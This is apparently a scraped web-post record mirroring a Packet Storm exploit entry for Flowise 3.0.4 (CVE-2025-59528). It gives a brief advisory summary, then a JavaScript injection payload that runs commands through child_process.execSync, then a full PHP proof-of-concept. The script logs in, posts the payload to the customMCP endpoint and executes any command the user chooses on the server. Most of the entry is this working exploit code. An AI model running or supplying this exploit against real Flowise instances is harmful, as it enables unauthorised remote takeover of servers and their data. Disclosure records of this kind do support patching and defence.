{“lastseen”:”2025-11-27T17:52:06″,”description”:”Flowise versions 3.0.4 and below suffer from a remote command injection vulnerability…”,”published”:”2025-11-27T00:00:00″,”modified”:”2025-11-27T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Flowise 3.0.4 Code Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:212154″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-59528″],”sourceData”:”=============================================================================================================================================\\n | # Title : Flowise 3.0.4 php code injection |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/github.com\/FlowiseAI\/Flowise |\\n =============================================================================================================================================\\n \\n [+] Summary : \\n \\n FlowiseAI versions **below 3.0.5** contain a critical authentication\u2011bypass RCE vulnerability in the endpoint: \/api\/v1\/node-load-method\/customMCP\\n \\n After logging in with any valid account, an attacker can inject arbitrary JavaScript into the MCP handler, which is executed server\u2011side using NodeJS\u2019s `child_process.execSync()`.\\n \\n This allows:\\n \\n – Full OS command execution \\n – Full takeover of the host machine \\n – Arbitrary file modification \/ deletion \\n – Backdoor installation \\n \\n [+] References : ( https:\/\/packetstorm.news\/files\/id\/211130\/ \\u0026 CVE-2025-59528 )\\n \\n \\n [+] Technical Details\\n \\n The exploit abuses the **customMCP load method**, which blindly evaluates supplied JavaScript:\\n \\n “`javascript\\n ({x:(function(){\\n const cp = process.mainModule.require(\\”child_process\\”);\\n cp.execSync(\\”COMMAND_HERE\\”);\\n return 1;\\n })()})\\n \\n When posted to: POST \/api\/v1\/node-load-method\/customMCP\\n \\n Flowise executes the payload in the backend, giving full system control.\\n \\n \\n 1. Save the file as: poc.php\\n \\n 2.Execute: php poc.php email@example.com \\”Password123\\” http:\/\/TARGET:3000 \\”id\\”\\n \\n \\n [+] POC\\n \\n \\u003c?php\\n \/*\\n * Flowise \\u003c 3.0.5 – (CVE-2025-59528)\\n * by: Indoushka\\n *\/\\n \\n function banner() {\\n echo \\”===============================================================================\\\\n\\”;\\n echo \\” Flowise \\u003c 3.0.5 – Remote Code Execution (CVE-2025-59528)\\\\n\\”;\\n echo \\” Original Author: nltt0\\\\n\\”;\\n echo \\” PHP Version by: Indoushka\\\\n\\”;\\n echo \\”===============================================================================\\\\n\\\\n\\”;\\n }\\n \\n function login($email, $password, $url) {\\n $endpoint = rtrim($url, ‘\/’) . \\”\/api\/v1\/auth\/login\\”;\\n \\n $data = json_encode([\\n \\”email\\” =\\u003e $email,\\n \\”password\\” =\\u003e $password\\n ]);\\n \\n $opts = [\\n \\”http\\” =\\u003e [\\n \\”header\\” =\\u003e\\n \\”Content-Type: application\/json\\\\r\\\\n\\” .\\n \\”x-request-from: internal\\\\r\\\\n\\”,\\n \\”method\\” =\\u003e \\”POST\\”,\\n \\”content\\” =\\u003e $data,\\n \\”ignore_errors\\” =\\u003e true\\n ]\\n ];\\n \\n $context = stream_context_create($opts);\\n $result = file_get_contents($endpoint, false, $context);\\n \\n $cookies = \\”\\”;\\n foreach ($http_response_header as $header) {\\n if (stripos($header, \\”Set-Cookie:\\”) !== false) {\\n $cookies .= trim(substr($header, 11)) . \\”; \\”;\\n }\\n }\\n \\n return $cookies;\\n }\\n \\n function exploit($email, $password, $url, $cmd) {\\n $cookies = login($email, $password, $url);\\n \\n if (!$cookies) {\\n echo \\”[\u2716] Login failed.\\\\n\\”;\\n return;\\n }\\n \\n $endpoint = rtrim($url, ‘\/’) . \\”\/api\/v1\/node-load-method\/customMCP\\”;\\n \\n $payload = ‘({x:(function(){const cp=process.mainModule.require(\\”child_process\\”);cp.execSync(\\”‘.$cmd.’\\”);return 1;})()})’;\\n \\n $postData = json_encode([\\n \\”loadMethod\\” =\\u003e \\”listActions\\”,\\n \\”inputs\\” =\\u003e [\\”mcpServerConfig\\” =\\u003e $payload]\\n ]);\\n \\n $opts = [\\n \\”http\\” =\\u003e [\\n \\”header\\” =\\u003e\\n \\”Content-Type: application\/json\\\\r\\\\n\\” .\\n \\”Cookie: $cookies\\\\r\\\\n\\”,\\n \\”method\\” =\\u003e \\”POST\\”,\\n \\”content\\” =\\u003e $postData,\\n \\”ignore_errors\\” =\\u003e true\\n ]\\n ];\\n \\n $context = stream_context_create($opts);\\n file_get_contents($endpoint, false, $context);\\n \\n echo \\”[\u2714] Command executed: $cmd\\\\n\\”;\\n }\\n \\n banner();\\n \\n if ($argc \\u003c 5) {\\n echo \\”Usage: php {$argv[0]} \\u003cemail\\u003e \\u003cpassword\\u003e \\u003curl\\u003e \\u003ccmd\\u003e\\\\n\\”;\\n echo \\”Example:\\\\n\\”;\\n echo \\”php {$argv[0]} admin@test.com ‘Pass@2025’ http:\/\/localhost:3000 ‘id’\\\\n\\”;\\n exit;\\n }\\n \\n $email = $argv[1];\\n $password = $argv[2];\\n $url = $argv[3];\\n $cmd = $argv[4];\\n \\n exploit($email, $password, $url, $cmd);\\n ?\\u003e\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212154″,”cvss”:{“score”:10,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212154\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-27T17:52:06″,”description”:”Flowise versions 3.0.4 and below suffer from a remote command injection vulnerability…”,”published”:”2025-11-27T00:00:00″,”modified”:”2025-11-27T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Flowise 3.0.4 Code Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:212154″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-59528″],”sourceData”:”=============================================================================================================================================\\n | # Title : Flowise 3.0.4 php code injection…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-27868","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n